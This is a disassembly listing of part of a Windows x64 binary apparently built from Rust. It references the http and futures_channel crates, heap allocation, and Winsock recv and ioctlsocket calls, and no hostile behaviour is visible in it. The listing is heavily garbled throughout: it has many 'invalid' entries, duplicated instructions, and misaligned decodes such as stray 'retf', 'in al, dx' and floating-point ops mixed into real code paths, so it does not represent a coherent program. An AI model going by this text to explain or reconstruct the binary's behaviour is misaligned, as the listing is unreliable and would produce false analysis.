movzx edx, byte [rdi + 0xa]
movzx r13d, byte [rdx + r8]
movzx ebp, byte [rdx + rax]
or al, byte [rsi + 0xf]
mov dh, 0x2c
add al, byte [rbp - 0x7c]
test ch, ch
movzx ebp, byte [rdx + rax]
test r13b, r13b
test ch, ch
je case.0x140081cfd.0
cmp rbx, 0xb
jne 0x14008253f
invalid
invalid
xor edx, edx
xor eax, eax
xor r8d, r8d
sal byte [rcx], cl
rol byte [rbp + 0x31], 0xc0
mov edi, dword [rsp + 0x24]
mov r9d, dword [rsp + 0x28]
mov ecx, dword [rsp + 0x28]
mov ecx, dword [rsp + 0x28]
and al, 0x28
mov r10d, dword [rsp + 0x2c]
mov ecx, dword [rsp + 0x34]
sub al, 0x8b
and al, 0x34
mov r11d, dword [rsp + 0x20]
pop rsp
and al, 0x20
mov ebp, dword [rsp + 0x38]
mov r14d, dword [rsp + 0x3c]
cmp al, 0x45
mov esp, edi
cmp al, 0x45
mov esp, edi
jmp 0x140082292
movzx edx, byte [rdi + 0xb]
movzx eax, byte [rdx + r8]
movzx eax, byte [rdx + rax]
mov dh, 4
add al, byte [rax + rax*8 - 0x3007bf1]
invalid
test al, al
je case.0x140081cfd.0
mov dword [rsp + 0x40], eax
and al, 0x40
and al, 0x40
cmp rbx, 0xc
jne 0x140082574
xor eax, eax
jmp 0x14008258b
mov ecx, 1
add dword [rax], eax
add byte [rax], al
mov rdx, rbx
call fcn.14015d7f0
invalid
ud2
or ebp, eax
pop rsi
adc edi, ecx
dec dword [rdi]
or ecx, dword [rdi]
mov dh, 0x57
or al, 0x42
invalid
call fcn.1400138d0
ud2
movzx edx, byte [rdi + 0xc]
movzx eax, byte [rdx + r8]
movzx eax, byte [rdx + rax]
test al, al
je case.0x140081cfd.0
cmp rbx, 0xd
jne case.0x140078cb8.429
xor r8d, r8d
xor eax, eax
mov edi, dword [rsp + 0x24]
mov r9d, dword [rsp + 0x28]
mov r10d, dword [rsp + 0x2c]
push rsp
and al, 0x2c
mov ecx, dword [rsp + 0x34]
xor al, 0x44
mov ebx, dword [rsp + 0x20]
mov r11d, dword [rsp + 0x20]
mov ebp, dword [rsp + 0x38]
insb byte [rdi], dx
and al, 0x38
mov r14d, dword [rsp + 0x3c]
and al, 0x3c
mov r12d, r15d
mov edx, dword [rsp + 0x40]
and al, 0x40
jmp 0x140082292
fdivr st(4)
invalid
dec dword [rdi]
mov dh, 0x7f
or eax, 0x4b60f46
movzx edi, byte [rdi + 0xd]
movzx r8d, byte [rdi + r8]
test r8b, r8b
mov dh, 4
invalid
mov edi, dword [rsp + 0x24]
mov r9d, dword [rsp + 0x28]
and al, 0x28
mov r10d, dword [rsp + 0x2c]
sub al, 0x8b
and al, 0x34
mov ecx, dword [rsp + 0x34]
mov r11d, dword [rsp + 0x20]
pop rsp
and al, 0x20
mov ebp, dword [rsp + 0x38]
cmp byte [rbx + rcx*4 + 0x74], al
and al, 0x3c
mov r14d, dword [rsp + 0x3c]
mov r12d, r15d
mov esp, edi
mov edx, dword [rsp + 0x40]
jne 0x140082292
jmp case.0x140081cfd.0
push rdi
cld
invalid
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
and al, 0x28
and al, 0x28
lea rax, case.0x14007c308.501
mov qword [rsp + 0x30], rax
xor byte [rax - 0x73], cl
add eax, 0x1273de
xor byte [rax - 0x73], cl
add eax, 0x1273de
lea eax, [0x1401a9ad8]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 2
and al, 0x50
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x68], 0
push 0
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x28
lea rax, [rsp + 0x28]
mov qword [rsp + 0x58], rax
and al, 0x58
mov qword [rsp + 0x60], 1
mov rcx, qword [rdi + 0x20]
and byte [r8 - 0x75], r9b
push rdi
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x48
mov rdx, qword [rdi + 0x28]
lea r8, [rsp + 0x48]
call fcn.140059e20
mov ecx, eax
mov al, 1
test cl, cl
invalid
jbe 0x140082732
dec dword [rcx - 0x7bfe4f3f]
leave
jne 0x140082940
inc byte [rcx]
add byte [rax], al
cmp qword [rsi + 0x20], 0
je case.0x1400795f7.430
lea rax, [rsi + 0x10]
adc byte [rax - 0x77], r9b
mov qword [rsp + 0x38], rax
and al, 0x38
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x28], eax
and al, 0x28
lea rax, [0x1400829f0]
mov qword [rsp + 0x30], rax
and al, 0x30
and al, 0x30
xor byte [rax - 0x73], cl
add eax, 0x182339
lea rax, [0x140204aa8]
lea eax, [0x140204aa8]
mov qword [rsp + 0x48], rax
and al, 0x48
mov qword [rsp + 0x50], 1
and al, 0x50
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x68], 0
and al, 0x68
add byte [rax], al
add byte [rax], al
invalid
push 0
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x28
lea rax, [rsp + 0x28]
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x58], eax
and al, 0x58
mov qword [rsp + 0x60], 1
and al, 0x60
add dword [rax], eax
add byte [rax], al
mov rcx, qword [rdi + 0x20]
and byte [r8 - 0x75], r9b
and byte [rax - 0x75], cl
mov rdx, qword [rdi + 0x28]
lea r8, [rsp + 0x48]
push rdi
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x48
call fcn.140059e20
mov ecx, eax
mov al, 1
test cl, cl
jne 0x14008281f
jbe 0x1400827a7
std
dec dword [rcx - 0x7bfe4f3f]
leave
jne 0x140082940
mov dword [rcx], eax
add byte [rax], al
add byte [rax - 0x75], cl
push rsi
test rdx, rdx
mov rdx, qword [rsi + 0x40]
mov edx, dword [rsi + 0x40]
test rdx, rdx
jne case.0x14007c33c.180
cmp byte [rsi], 0
add byte [rsi + riz*2 + 0x44], dh
movzx ecx, word [rsi + 0x50]
je case.0x14007c308.294
movzx r9w, word [rsi + 0x50]
movzx r9d, word [rsi + 0x50]
mov rcx, qword [rsi + 0x38]
cmp r9, 0xffff
stc
invalid
inc dword [rax]
invalid
cmp byte [rcx - 0x7f], cl
cmp ecx, 0xffff
stc
invalid
inc dword [rax]
add byte [rbx + rdi + 0x4d], dh
test ecx, ecx
je 0x140082812
test r9, r9
je 0x1400827f1
cmp rdx, r9
cmp edx, ecx
retf 0x1f76
jbe 0x140082800
cmp byte [rcx + r9], 0xbf
jle 0x14008294f
mov fs, word [rbx + 1]
add byte [rax], al
mov fs, word [rbx + 1]
add byte [rax], al
add byte [rcx + rcx*4 - 0x36], cl
mov rdx, r9
jmp 0x140082812
mov eax, 1
add byte [rax], al
test rcx, rcx
test ecx, ecx
leave
jne 0x140082822
jmp 0x14008294f
test rcx, rcx
test ecx, ecx
je 0x14008294f
test byte [rsi + 1], al
add byte [rax], al
add dword [rax], eax
add byte [rcx + rdi - 0x36], cl
cmp rdx, r9
jne 0x14008294f
cmp eax, 0x48000001
add byte [rax - 0x7d], cl
cli
add dword [rax - 0x77], ecx
ror byte [rax - 0x7d], 1
cmp rdx, 1
cmp edx, 1
mov rax, rdx
adc rax, 0
rol byte [rax], 1
rol byte [rax], 1
test rdx, rdx
test edx, edx
sal byte [rbp + 0x12], cl
jne 0x140082834
lea rcx, [0x140204f08]
jmp 0x140082834
add bl, ch
or dword [rax - 0x73], ecx
invalid
invalid
lea rcx, [0x140204680]
or eax, 0x181e4e
xor eax, eax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x30], eax
sub byte [rax - 0x77], cl
and al, 0x30
mov dword [rsp + 0x30], eax
lea r14, [rsp + 0x28]
mov qword [rsp + 0x38], r14
je 0x14008286b
cmp byte [rbp + rcx*4 + 0x3d], cl
invalid
jns 0x14008284f
add byte [rcx + rcx*4 + 0x7c], cl
and al, 0x40
je 0x14008286b
cmp byte [rbp + rcx*4 + 0x3d], cl
invalid
add byte [rcx + rcx*4 + 0x7c], cl
and al, 0x40
lea rax, [0x140204aa8]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x50], 1
mov dword [rsp + 0x50], 1
and al, 0x50
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x68], 0
and al, 0x68
and al, 0x68
add byte [rax], al
add byte [rax], al
lea r12, [rsp + 0x38]
mov qword [rsp + 0x58], r12
and al, 0x58
and al, 0x58
pop rax
mov qword [rsp + 0x60], 1
mov rbx, qword [rdi + 0x20]
mov ebx, dword [rdi + 0x20]
mov ebx, dword [rdi + 0x20]
and byte [rax - 0x75], cl
jg 0x1400828b5
mov rdi, qword [rdi + 0x28]
lea r8, [rsp + 0x48]
mov rcx, rbx
mov ecx, ebx
mov ecx, ebx
mov rdx, rdi
call fcn.140059e20
mov ecx, eax
mov al, 1
invalid
test cl, cl
leave
add dword [rcx + rcx*8 + 0x97850f], eax
add byte [rax], al
leave
jne 0x140082940
movzx r8d, word [rsi + 0x50]
push rax
cmp r8, 0xffff
cmp eax, 0xffff
je 0x1400828e7
inc r8
mov rcx, qword [rsi + 0x38]
mov rdx, qword [rsi + 0x40]
mov rax, rdx
cmp byte [rax - 0x75], r9b
push rsi
mov rax, rdx
sub rax, r8
jbe 0x1400828eb
invalid
sal byte [rsi + 0x21], 0x42
cmp byte [rcx + rax], 0xbf
and dword [rdx - 0x80], eax
cmp al, 1
mov edi, 0x8d481c7f
add eax, 0x127040
jo 0x1400828e9
invalid
cmp byte [rcx + r8], 0xbf
jg 0x1400828ed
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.9_srcuripath.rs
jo 0x1400828e9
adc al, byte [rax]
add byte [rax - 0x77], cl
and al, 0x20
mov qword [rsp + 0x20], rax
mov r9, rdx
call fcn.140161400
sbb ebp, ebx
invalid
add byte [rdi], cl
invalid
sbb ebp, ebx
or eax, 0x310b0f00
shr bl, 0x55
xor eax, eax
jmp 0x140082940
jne 0x1400828d1
add rcx, r8
add ecx, eax
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x28], esp
mov dword [rsp + 0x28], esp
and al, 0x28
mov qword [rsp + 0x30], r15
lea rax, str._for_____::closureshim_as__mut_const___dyn___unsafe_extern__
jno 0x14008291c
add byte [rax - 0x77], cl
and al, 0x48
jno 0x14008291c
add byte [rax - 0x77], cl
and al, 0x48
mov qword [rsp + 0x50], 1
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x68], 0
and al, 0x68
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x58], r14
je 0x14008294a
pop rax
mov qword [rsp + 0x60], 1
lea r8, [rsp + 0x48]
lea eax, [rsp + 0x48]
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x48
lea eax, [rsp + 0x48]
mov rcx, rbx
mov rdx, rdi
call fcn.140059e20
loopne 0x1400829b2
std
invalid
loopne 0x1400829b2
std
call qword [rax + 0x78c48348]
nop
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r14
pop rsi
pop r15
ret
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.9_srcuripath.rs
add eax, 0x126faa
mov qword [rsp + 0x20], rax
and al, 0x20
xor r8d, r8d
call fcn.140161400
ud2
int3
sub rsp, 0x28
mov rax, qword [rcx]
movzx ecx, byte [rax]
in al, dx
sub byte [rax - 0x75], cl
add dword [rdi], ecx
mov dh, 8
cmp rcx, 1
je case.0x14005f6a2.1224
invalid
add dword [rbx + rdx - 0x7d], esi
stc
add dh, byte [rbp + 0x45]
adc eax, dword [rbx + 0x457502f9]
cmp ecx, 2
jne 0x1400829ca
mov rcx, qword [rax + 8]
mov rax, qword [rcx + 8]
mov eax, dword [rcx + 8]
mov eax, dword [rcx + 8]
or byte [rbx + rcx*4 + 0x41], cl
adc bl, ch
and dword [rbp + 0x31], eax
xor r8d, r8d
cmp byte [rax + 1], 0
js 0x14008299a
add byte [rcx + 0xf], al
mov r8, qword [rcx + 0x10]
jmp 0x1400829b4
js 0x14008299a
add byte [rcx + 0xf], al
sete r8b
lea rcx, [0x140204ba3]
add byte [rax - 0x73], cl
add eax, 0x1821fb
xchg esp, eax
ror byte [rax - 0x73], 0xd
invalid
add byte [rax - 0x73], cl
add eax, 0x1821fb
lea eax, [0x140204ba7]
cmove rax, rcx
xor r8, 5
xor eax, 5
xor eax, 5
invalid
add eax, 0x204a8b48
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
invalid
invalid
sbb byte [rax - 0x77], cl
ret 0x8348
mov rdx, rax
add rsp, 0x28
jmp r9
lea rcx, str.internal_error:_entered_unreachable_code_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_src_threadmod.rs
lea ecx, str.internal_error:_entered_unreachable_code_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_src_threadmod.rs
xchg edi, eax
mov edx, 0x8d4c0015
add eax, 0x126fb8
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.9_srcuri_scheme.rs
mov edx, 0x28
call fcn.140160fb0
add byte [rax], al
add al, ch
invalid
ud2
int3
mov eax, dword [rcx + 8]
mov r8, qword [rcx + 0x10]
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
mov ecx, dword [rdx + 0x18]
and byte [rax - 0x75], cl
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
mov ecx, dword [rdx + 0x18]
mov rdx, rax
invalid
invalid
mov ecx, dword [rdx + 0x18]
mov rdx, rax
jmp r9
int3
invalid
cmp r8b, 9
ja 0x140082a59
movzx ecx, byte [rcx + 2]
add cl, 0xd0
cmp cl, 9
or dword [rdi + 0x19], esi
or dword [rdi + 0x19], esi
add dl, 0xd0
movzx ecx, cl
movzx eax, r8b
movzx edx, dl
imul edx, edx, 0x64
add eax, eax
lea eax, [rax + rax*4]
add eax, ecx
add eax, edx
ret
add rcx, rdx
jmp rcx
or al, byte [rax]
add byte [rax], al
ret
add eax, 0x1274c2
mov edx, 2
ret
add byte [rax], al
ret
sbb byte [rcx + 2], bh
xchg qword [rax + 0x10], rcx
cmp rcx, 2
je 0x140085322
mov rdx, qword [rdi + 0x18]
mov rax, qword [rdx + 0x28]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rdx + 0x28], rcx
jne 0x1400852f0
test rax, rax
jne 0x140085322
mov rax, qword [rdx + 0x18]
mov rcx, qword [rdx + 0x20]
mov qword [rdx + 0x18], 0
lock and qword [rdx + 0x28], 0xfffffffffffffffd
sub ch, bh
sub ch, bh
test rax, rax
je 0x140085322
call qword [rax + ioctlsocket]
mov r14, qword [r14]
lea rcx, [rsp + 0x20]
mov rdx, rbx
call fcn.140085700
mov r15, qword [rsp + 0x20]
cmp r15, 2
jne case.0x14005f6a2.1264
mov rcx, qword [rbx]
test rcx, rcx
je case.0x140065142.1211
add rcx, 0x48
mov rdx, r14
call fcn.1400695a0
lea rcx, [rsp + 0x48]
mov rdx, rbx
call fcn.140085700
mov r15, qword [rsp + 0x48]
test r15, r15
jne 0x14008552e
jmp fcn.140085584
std
invalid
and al, 0x49
movaps xmmword [rsp + 0x70], xmm0
mov rbx, qword [rsp + 0x60]
mov r12, qword [rsp + 0x68]
cmp ebp, 5
je 0x1400855bc
test cl, cl
add dword [rax], eax
invalid
test cl, cl
add dword [rax], eax
add byte [rbx - 0x7bf0f903], al
mov byte [rcx], al
add byte [rax], al
cmp ebp, 6
je fcn.140085584
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
mov ecx, dword [0x140215360]
mov ecx, dword [0x140215360]
test rcx, rcx
leave
jne 0x140085428
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400856d5
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x38
cmp byte [rax], al
add byte [rax], al
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400856d5
mov rdi, rax
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 8
xor byte [rax], cl
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140085476
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
mov r8d, 0x28
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
sub ecx, dword [rsi]
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
pop rcx
add al, byte [rax]
invalid
lea rcx, [rsp + 0x49]
mov byte [rax], bpl
movups xmm0, xmmword [rcx]
movups xmmword [rax + 1], xmm0
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0x10], rdi
jmp 0x1400855a8
movups xmm0, xmmword [rsp + 0x28]
movups xmm1, xmmword [rsp + 0x38]
and al, 0x38
and al, 0x38
movaps xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
cmp r15d, 1
je 0x14008550f
mov rax, qword [rbx]
test rax, rax
je 0x140085508
lock dec qword [rax]
jne 0x140085508
mov rcx, rbx
call fcn.140085980
mov qword [rbx], 0
movaps xmm0, xmmword [rsp + 0x90]
movaps xmm1, xmmword [rsp + 0xa0]
add byte [rdi], cl
sub byte [rsp + 0xa0], cl
movups xmmword [rsp + 0x60], xmm1
movups xmmword [rsp + 0x50], xmm0
test r15, r15
je fcn.140085584
cmp r15, 1
jne 0x14008557b
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x58]
test rcx, rcx
test ecx, ecx
je 0x140085610
mov rdx, qword [rsp + 0x60]
mov r8, qword [rsp + 0x68]
mov r9, qword [rdi + 8]
mov ecx, dword [rdi + 8]
mov ecx, dword [rdi + 8]
cmp r9, 0xfffffffffffffffd
stc
std
ja 0x140085562
sub r9, rdx
mov qword [rdi + 8], r9
invalid
invalid
mov qword [rsi], 1
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rax
mov qword [rsi + 0x18], rdx
mov qword [rsi], 2
jmp 0x1400855a8
add byte [rax], al
add bl, ch
sbb esi, dword [rcx]
leave
mov qword [rsi], rcx
mov qword [rsi + 8], rax
mov dword [rsi + 8], eax
mov dword [rsi + 8], eax
movaps xmm0, xmmword [rsp + 0x20]
movups xmmword [rsi + 0x10], xmm0
mov rax, qword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
xor byte [rax - 0x77], cl
and byte [rax - 0x7f], r9b
invalid
mov qword [rsi + 0x20], rax
add rsp, 0xb8
pop rbx
pop rbp
lea rcx, [rsp + 0x20]
and al, 0x20
mov rdx, r15
mov r8, rbx
call fcn.14007e3b0
movzx eax, byte [rsp + 0x20]
and al, 0x20
and al, 0x20
cmp rax, 5
je 0x14008567d
lea rcx, [rax - 2]
cmp rcx, 2
jb 0x14008567d
test rax, rax
je 0x14008567d
cmp eax, 1
jne 0x140085625
lea rcx, [rsp + 0x40]
mov rax, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x38]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x14008567d
mov qword [rsi], 1
mov qword [rsi + 8], 0
mov qword [rsi + 0x10], rax
jmp 0x1400855a8
mov rax, qword [rsp + 0x28]
mov ecx, eax
rol dword [rbx - 0x67cfc1f], 1
rol dword [rbx - 0x67cfc1f], 1
jne 0x14008567d
lea r14, [rax - 1]
mov r15, qword [rax - 1]
mov r13, qword [rax + 7]
mov rcx, r15
call qword [r13]
cmp qword [r13 + 8], 0
je 0x14008566b
cmp qword [r13 + 0x10], 0x11
jb 0x140085659
mov r15, qword [r15 - 8]
mov rcx, qword [0x140215360]
xor edx, edx
ror byte [rbp - 0x77], cl
clc
ror byte [rbp - 0x77], cl
clc
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r14
invalid
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea r14, [rsp + 0x77]
mov rax, qword [rdi + 0x10]
je 0x1400856a5
ja 0x1400856cb
mov eax, dword [rdi + 0x10]
add byte [rax], al
movups xmm0, xmmword [r14]
movups xmmword [rsi + 8], xmm0
mov qword [rsi], 1
mov qword [rsi + 0x18], rbx
or byte [rax - 0x39], r9b
invalid
mov qword [rsi + 0x20], r12
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.28_srcmpscmod.rs
mov edx, 0x2b
call fcn.140160fb0
mov eax, 0xb0f000d
add byte [rax], al
add al, ch
fnstsw word [rax + 0xb0f000d]
mov eax, 0xb0f000d
mov ecx, 8
mov edx, 0x38
call fcn.14015d7f0
ud2
mov ecx, 8
mov edx, 0x28
add byte [rax], al
call fcn.14015d7f0
ud2
adc byte [rax + 8], al
movups xmm1, xmmword [rax + 0x18]
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
mov qword [rax], 0
add byte [rax], al
add byte [rax - 0x7d], cl
cmp eax, dword [rax]
add byte [rax], al
add byte [rax - 0x7d], cl
cmp eax, dword [rax]
je 0x1400857f3
mov rax, qword [rbx + 8]
test rax, rax
je 0x1400857ea
lea rcx, [rbx + 0x20]
mov rdx, qword [rbx + 0x10]
mov r8, qword [rbx + 0x18]
mov eax, dword [rbx + 0x18]
mov eax, dword [rbx + 0x18]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x1400857f3
lea rcx, [rbx + 0x10]
call fcn.140085c60
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rbx
mov eax, ebx
call qword [sym.imp.KERNEL32.dll_HeapFree]
movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x50], xmm0
movaps xmmword [rsp + 0x60], xmm1
mov r14, qword [rdi]
invalid
test r14, r14
je 0x1400858c3
lea rcx, [r14 + 0x20]
call fcn.1400ba640
test rax, rax
je 0x1400858be
mov rbx, rax
mov r14, rax
add r14, 0x10
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400858ea
xor ebp, ebp
movzx eax, byte [rbx + 0x18]
test al, al
jne 0x140085901
mov byte [rbx + 0x30], 0
mov rax, qword [rbx + 0x20]
mov rcx, qword [rbx + 0x28]
mov qword [rbx + 0x20], 0
test rax, rax
je 0x140085887
call qword [rax + ioctlsocket]
test bpl, bpl
jne 0x14008589f
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x140085936
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
lock dec qword [rbx]
jne 0x1400858b6
mov rcx, rbx
call fcn.1400ba710
mov r14, qword [rdi]
test r14, r14
je 0x1400858c3
lock dec qword [r14 + 0x38]
movaps xmm0, xmmword [rsp + 0x50]
movaps xmm1, xmmword [rsp + 0x60]
movups xmmword [rsi + 0x18], xmm1
movups xmmword [rsi + 8], xmm0
mov eax, 1
mov qword [rsi], rax
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
call fcn.1401666c0
mov ebp, eax
xor bpl, 1
movzx eax, byte [rbx + 0x18]
test al, al
je 0x14008586b
mov qword [rsp + 0x30], r14
mov byte [rsp + 0x38], bpl
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.28_srcmpscmod.rs
fst dword [rax + rax]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1401aa8a0]
adc al, byte [rax]
lea r8, [rsp + 0x30]
mov edx, 0x2b
call fcn.140161200
ud2
call fcn.1401666c0
test al, al
jne 0x14008589f
test dword [rdi + rdi*8 - 1], ebx
invalid
mov byte [rbx + 0x18], 1
jmp 0x14008589f
add byte [rax], al
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
invalid
add byte [rax - 0x7b], cl
invalid
je 0x140085eb8
invalid
mov rsi, rax
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 0xb
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140085e76
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je case.0x14005f6a2.1282
mov rcx, rax
mov qword [0x140215360], rax
add eax, 0x18f4ea
add eax, 0x18f4ea
mov r8d, 0x28
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je case.0x14005f6a2.1282
mov rcx, qword [rdi + 0x20]
mov qword [rax + 0x20], rcx
movups xmm0, xmmword [rdi]
and byte [rax - 0x77], cl
and byte [rdi], cl
adc byte [rdi], al
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rax + 0x10], xmm1
adc dword [rax + 0x10], ecx
adc dword [rax + 0x10], ecx
movups xmmword [rax], xmm0
mov qword [rsi], rax
lea rax, [0x1401aa698]
adc r8b, byte [r8]
adc r8b, byte [r8]
mov qword [rsi + 8], rax
mov rax, rsi
add rsp, 0x50
push rax
push rax
pop rbx
pop rdi
pop rsi
ret
mov ecx, 8
mov edx, 0x38
add byte [rax], al
add byte [rax], al
call fcn.14015d7f0
ud2
add byte [rdx + 8], bh
call fcn.14015d7f0
ud2
mov ecx, 8
mov edx, 0x28
add byte [rdx + 0x28], bh
call fcn.14015d7f0
ud2
or eax, 0x480b0f00
lea ecx, [rax - 2]
lea rcx, [rax - 2]
cmp rcx, 2
jb fcn.140085f64
outsd dx, dword [rsi]
outsd dx, dword [rsi]
test rax, rax
je fcn.140085f64
cmp eax, 1
jne 0x140085f13
lea rcx, [rsp + 0x40]
and al, 0x40
mov rdx, qword [rsp + 0x30]
mov edx, dword [rsp + 0x30]
mov r8, qword [rsp + 0x38]
call qword [rbx + reloc.WS2_32.dll_recv]
jmp fcn.140085f64
push rcx
push rcx
mov eax, ebx
and eax, 3
cmp eax, 1
jne fcn.140085f64
lea rsi, [rbx - 1]
mov rdi, qword [rbx - 1]
dec dword [rax - 0x75]
jnp 0x140085f24
dec dword [rax - 0x75]
pop rbx
mov rbx, qword [rbx + 7]
invalid
invalid
adc al, 0xb3
or eax, 0xcc0b0f00
int3
in al, dx
jo 0x140085fd0
mov esi, edx
mov rdi, rcx
mov rbx, qword [rcx + 8]
mov rdx, qword [rdx]
mov edx, dword [rdx]
mov edx, dword [rdx]
lea rcx, [rbx + 0x18]
call fcn.1400695a0
mov rax, qword [rbx + 0x10]
adc byte [r8 - 0x7b], cl
invalid
je 0x140085fcc
adc byte [r8 - 0x7b], cl
sal byte [rsi + riz + 0x48], 0x83
clc
add dword [rcx + rsi*2 + 0x48], esi
cmp rax, 2
cmp rax, 1
je 0x14008601d
cmp rax, 2
jne 0x140086048
cmp byte [rdi + 0x20], 2
je 0x140085fcc
add dh, byte [rax + rdx + 0x48]
add edi, 0x10
add rdi, 0x10
mov rax, qword [rdi]
mov rax, qword [rax + 0x38]
cmp byte [rax - 0x7b], cl
invalid
cmp byte [rax - 0x7b], cl
sar byte [rax + 0x59], 0xf
js 0x140086025
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
js 0x140086025
movzx eax, byte [0x1402153f8]
hlt
mov rcx, qword [0x140215360]
sbb byte [rax], al
test rcx, rcx
jne 0x140085ff4
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
adc eax, 0xe204b
add byte [rax - 0x7b], cl
sal byte [rbp + rcx*2 + 0x48], 0x89
ror dword [rax - 0x77], 5
invalid
invalid
invalid
insb byte [rdi], dx
test rax, rax
je 0x140086037
mov rcx, rax
mov qword [0x140215360], rax
sbb byte [rax], al
mov r8d, 0x38
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
and byte ss:[rsi], cl
add byte [rax - 0x7b], cl
invalid
je 0x140086037
and byte ss:[rsi], cl
add byte [rax - 0x7b], cl
sal byte [rax + rsi + 0x48], 0x89
ret 0xc748
mov rdx, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 5
xor eax, eax
jmp 0x14008601d
add rsp, 0x70
pop rbx
pop rdi
pop rsi
ret
mov rcx, rdi
mov rdx, rsi
call fcn.1400860a0
add byte [rdi], cl
mov dh, 0xc0
add byte [rdi], cl
mov dh, 0xc0
xor edx, edx
jmp 0x14008601d
mov ecx, 8
mov edx, 0x38
call fcn.14015d7f0
ud2
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x30], rax
lea rax, [fcn.140058ea0]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x20], 1
lea rdx, str.internal_error:_entered_unreachable_code:_want_rx_value:
lea rsi, [rsp + 0x40]
lea r9, [rsp + 0x30]
mov r8d, 1
mov rcx, rsi
call fcn.140144a40
lea rdx, [0x1401aad38]
mov rcx, rsi
call fcn.140160e20
ud2
mov word [rbx + r10*4], bp
mov rdx, r10
mov rcx, qword [rsp + 0x20]
mov word [rbx + rdx*4 + 2], ax
cmp rsi, r14
je fcn.140088cfc
mov rbp, r13
mov r15, rsi
add rsi, 0x68
inc r13
lea rdx, [r15 + 0x40]
call fcn.14006e510
mov r8d, eax
and r8d, r12d
mov word [r15 + 0x60], ax
xor edx, edx
nop
mov r10, r8
mov r8d, 0
cmp r10, rdi
